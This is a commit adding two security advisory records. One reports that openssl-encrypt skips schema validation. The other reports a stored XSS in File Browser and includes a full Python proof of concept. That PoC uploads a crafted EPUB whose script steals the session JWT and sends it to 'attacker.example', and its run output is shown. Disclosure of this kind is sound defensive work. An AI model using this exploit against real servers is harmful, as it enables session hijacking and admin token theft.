Skip to content

Commit d41967b

Browse files
1 parent a23860a commit d41967b

4 files changed

Lines changed: 239 additions & 0 deletions

File tree

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-425g-fjhq-5h92",
4+
"modified": "2026-03-31T23:43:33Z",
5+
"published": "2026-03-31T23:43:33Z",
6+
"aliases": [],
7+
"summary": "openssl-encrypt silently skips schema validation when jsonschema library is not installed",
8+
"details": "### Summary\n\nIn `openssl_encrypt/modules/json_validator.py` at **lines 234-238**, when the `jsonschema` library is not installed, all schema validation is silently skipped with only a print warning.\n\n### Affected Code\n\n```python\nif not JSONSCHEMA_AVAILABLE:\n print(f\"Warning: Cannot validate against schema '{schema_name}' - jsonschema library not available\")\n return\n```\n\nAdditionally, unknown metadata format versions (line 288-293) bypass schema validation entirely, and all schemas use `additionalProperties: true` allowing arbitrary extra fields.\n\n### Impact\n\nAn attacker who can influence the Python environment (remove the jsonschema package) or craft metadata with an unknown version number can bypass all schema checks. Malformed or malicious metadata will be accepted without validation.\n\n### Recommended Fix\n\n- Make `jsonschema` a required dependency, not optional\n- Or fail-closed: refuse to process metadata when validation cannot be performed\n- Reject unknown format versions instead of silently skipping validation\n- Consider using `additionalProperties: false` in schemas\n\n### Fix\n\nFixed in commit `6e7f938` on branch `releases/1.4.x` — validate_against_schema() now raises JSONValidationError when jsonschema is unavailable instead of silently passing; changed print() warning to logging.warning().",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "openssl-encrypt"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.4.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-425g-fjhq-5h92"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/jahlives/openssl_encrypt/commit/6e7f938dcb7928faf5fd12bb5559f6dae2944124"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/jahlives/openssl_encrypt"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-20"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-03-31T23:43:33Z",
57+
"nvd_published_at": null
58+
}
59+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5vpr-4fgw-f69h",
4+
"modified": "2026-03-31T23:44:36Z",
5+
"published": "2026-03-31T23:44:36Z",
6+
"aliases": [
7+
"CVE-2026-34529"
8+
],
9+
"summary": "File Browser is vulnerable to Stored Cross-site Scripting via crafted EPUB file",
10+
"details": "### Summary\n\nThe EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.\n\n### Details\n\n`frontend/src/views/files/Preview.vue` passes `allowScriptedContent: true` to the `vue-reader` (epub.js) component:\n```js\n// frontend/src/views/files/Preview.vue (Line 87)\n:epubOptions=\"{\n allowPopups: true,\n allowScriptedContent: true,\n}\"\n```\nepub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which [renders the sandbox ineffective](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#allow-top-navigation-to-custom-protocols) — the script can access the parent frame's DOM and storage.\n\nThe epub.js developers explicitly [warn against enabling scripted content](https://github.com/futurepress/epub.js?tab=readme-ov-file#scripted-content).\n\n### PoC\nI've crafted the PoC python script that could be ran on test environment using docker compose:\n\n```yaml\nservices:\n\n filebrowser:\n image: filebrowser/filebrowser:v2.62.1\n user: 0:0\n ports:\n - \"80:80\"\n```\n\nAnd running this PoC python script:\n```python\nimport argparse\nimport io\nimport sys\nimport zipfile\nimport requests\n\n\nBANNER = \"\"\"\n Stored XSS via EPUB PoC\n Affected: filebrowser/filebrowser <=v2.62.1\n Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }\n Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\"\"\"\n\n\n\nCONTAINER_XML = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<container version=\"1.0\" xmlns=\"urn:oasis:names:tc:opendocument:xmlns:container\">\n <rootfiles>\n <rootfile full-path=\"OEBPS/content.opf\" media-type=\"application/oebps-package+xml\"/>\n </rootfiles>\n</container>\"\"\"\n\n\n\nCONTENT_OPF = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<package xmlns=\"http://www.idpf.org/2007/opf\" unique-identifier=\"uid\" version=\"3.0\">\n <metadata xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n <dc:identifier id=\"uid\">poc-xss-epub-001</dc:identifier>\n <dc:title>Security Test Document</dc:title>\n <dc:language>en</dc:language>\n <meta property=\"dcterms:modified\">2025-01-01T00:00:00Z</meta>\n </metadata>\n <manifest>\n <item id=\"chapter1\" href=\"chapter1.xhtml\" media-type=\"application/xhtml+xml\"/>\n <item id=\"nav\" href=\"nav.xhtml\" media-type=\"application/xhtml+xml\" properties=\"nav\"/>\n </manifest>\n <spine>\n <itemref idref=\"chapter1\"/>\n </spine>\n</package>\"\"\"\n\n\n\nNAV_XHTML = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:epub=\"http://www.idpf.org/2007/ops\">\n<head><title>Navigation</title></head>\n<body>\n <nav epub:type=\"toc\">\n <ol><li><a href=\"chapter1.xhtml\">Chapter 1</a></li></ol>\n </nav>\n</body>\n</html>\"\"\"\n\n\n\nXSS_CHAPTER = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head><title>Chapter 1</title></head>\n<body>\n <h1>Security Test Document</h1>\n <p>This document tests EPUB script execution in File Browser.</p>\n <p id=\"xss-proof\" style=\"color: red; font-weight: bold;\">Waiting...</p>\n <p id=\"ip-proof\" style=\"color: orange; font-weight: bold;\">Fetching IP...</p>\n <script>\n var out = document.getElementById(\"xss-proof\");\n var ipOut = document.getElementById(\"ip-proof\");\n var jwt = \"not-found\";\n try { jwt = window.parent.localStorage.getItem(\"jwt\"); } catch(e) { jwt = \"error: \" + e.message; }\n out.innerHTML = \"XSS OK\" + String.fromCharCode(60) + \"br/\" + String.fromCharCode(62) + \"JWT: \" + jwt;\n fetch(\"https://ifconfig.me/ip\").then(function(r){ return r.text(); }).then(function(ip){\n ipOut.textContent = \"Victim public IP: \" + ip.trim();\n }).catch(function(e){\n ipOut.textContent = \"IP fetch failed: \" + e.message;\n });\n var img = new Image();\n img.src = \"https://attacker.example/?stolen=\" + encodeURIComponent(jwt);\n </script>\n</body>\n</html>\"\"\"\n\n\n\n\ndef login(base: str, username: str, password: str) -> str:\n r = requests.post(f\"{base}/api/login\",\n json={\"username\": username, \"password\": password},\n timeout=10)\n if r.status_code != 200:\n print(f\"[-] Login failed: {r.status_code}\")\n sys.exit(1)\n return r.text.strip('\"')\n\n\n\ndef build_epub() -> bytes:\n \"\"\"Build a minimal EPUB 3 file with embedded JavaScript.\"\"\"\n buf = io.BytesIO()\n with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:\n zf.writestr(\"mimetype\", \"application/epub+zip\", compress_type=zipfile.ZIP_STORED)\n zf.writestr(\"META-INF/container.xml\", CONTAINER_XML)\n zf.writestr(\"OEBPS/content.opf\", CONTENT_OPF)\n zf.writestr(\"OEBPS/nav.xhtml\", NAV_XHTML)\n zf.writestr(\"OEBPS/chapter1.xhtml\", XSS_CHAPTER)\n return buf.getvalue()\n\n\n\ndef main():\n print(BANNER)\n ap = argparse.ArgumentParser(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=\"Stored XSS via malicious EPUB PoC\",\n epilog=\"\"\"examples:\n %(prog)s -t http://localhost:8080 -u admin -p admin\n %(prog)s -t http://target.com/filebrowser -u user -p pass\n\nroot cause:\n frontend/src/views/files/Preview.vue passes\n epubOptions: { allowScriptedContent: true } to the vue-reader\n (epub.js) component. The iframe sandbox includes allow-scripts\n and allow-same-origin, which lets the script access the parent\n frame's localStorage and make arbitrary network requests.\n\nimpact:\n Session hijacking, privilege escalation, data exfiltration.\n A low-privilege user with upload access can steal admin tokens.\"\"\",\n )\n\n ap.add_argument(\"-t\", \"--target\", required=True,\n help=\"Base URL of File Browser (e.g. http://localhost:8080)\")\n ap.add_argument(\"-u\", \"--user\", required=True,\n help=\"Username to authenticate with\")\n ap.add_argument(\"-p\", \"--password\", required=True,\n help=\"Password to authenticate with\")\n if len(sys.argv) == 1:\n ap.print_help()\n sys.exit(1)\n args = ap.parse_args()\n\n base = args.target.rstrip(\"/\")\n\n print()\n print(\"[*] ATTACK BEGINS...\")\n print(\"====================\")\n\n print(f\" [1] Authenticating to {base}\")\n token = login(base, args.user, args.password)\n print(f\" Logged in as: {args.user}\")\n\n print(f\"\\n [2] Building malicious EPUB\")\n epub_data = build_epub()\n print(f\" EPUB size: {len(epub_data)} bytes\")\n\n upload_path = \"/poc_xss_test.epub\"\n print(f\"\\n [3] Uploading to {upload_path}\")\n requests.delete(f\"{base}/api/resources{upload_path}\",\n headers={\"X-Auth\": token}, timeout=10)\n r = requests.post(\n f\"{base}/api/resources{upload_path}?override=true\",\n data=epub_data,\n headers={\n \"X-Auth\": token,\n \"Content-Type\": \"application/epub+zip\",\n },\n timeout=30\n )\n\n if r.status_code in (200, 201, 204):\n print(f\" Upload OK ({r.status_code})\")\n else:\n print(f\" Upload FAILED: {r.status_code} {r.text[:200]}\")\n sys.exit(1)\n\n preview_url = f\"{base}/files{upload_path}\"\n\n print(f\"\\n [4] Done\")\n print(f\" Preview URL: {preview_url}\")\n print(\"====================\")\n print()\n print()\n print(f\"Open the URL above in a browser. You should see:\")\n print(f\" - Red text: \\\"XSS OK\\\" + stolen JWT token\")\n print(f\" - Orange text: victim's public IP (via ifconfig.me)\")\n print()\n print(f\"NOTE: alert() is blocked by iframe sandbox (no allow-modals).\")\n print(f\"The attack is silent — JWT theft and network exfiltration work.\")\n\n\nif __name__ == \"__main__\":\n main()\n\n```\n\nAnd terminal output:\n```bash\nroot@server205:~/sec-filebrowser# python3 poc_xss_epub.py -t http://localhost -u admin -p VJlfum8fGTmyXx8t\n\n Stored XSS via EPUB PoC\n Affected: filebrowser/filebrowser <=v2.62.1\n Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }\n Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\n\n[*] ATTACK BEGINS...\n====================\n [1] Authenticating to http://localhost\n Logged in as: admin\n\n [2] Building malicious EPUB\n EPUB size: 1927 bytes\n\n [3] Uploading to /poc_xss_test.epub\n Upload OK (200)\n\n [4] Done\n Preview URL: http://localhost/files/poc_xss_test.epub\n====================\n\n\nOpen the URL above in a browser. You should see:\n - Red text: \"XSS OK\" + stolen JWT token\n - Orange text: victim's public IP (via ifconfig.me)\n\nNOTE: alert() is blocked by iframe sandbox (no allow-modals).\nThe attack is silent — JWT theft and network exfiltration work.\n```\n\n\n<br/>\n\n### Impact\n- JWT token theft — full session hijacking\n- Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/filebrowser/filebrowser/v2"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.62.2"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.62.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-5vpr-4fgw-f69h"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/filebrowser/filebrowser"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-79"
54+
],
55+
"severity": "HIGH",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-03-31T23:44:36Z",
58+
"nvd_published_at": null
59+
}
60+
}

0 commit comments

Comments
 (0)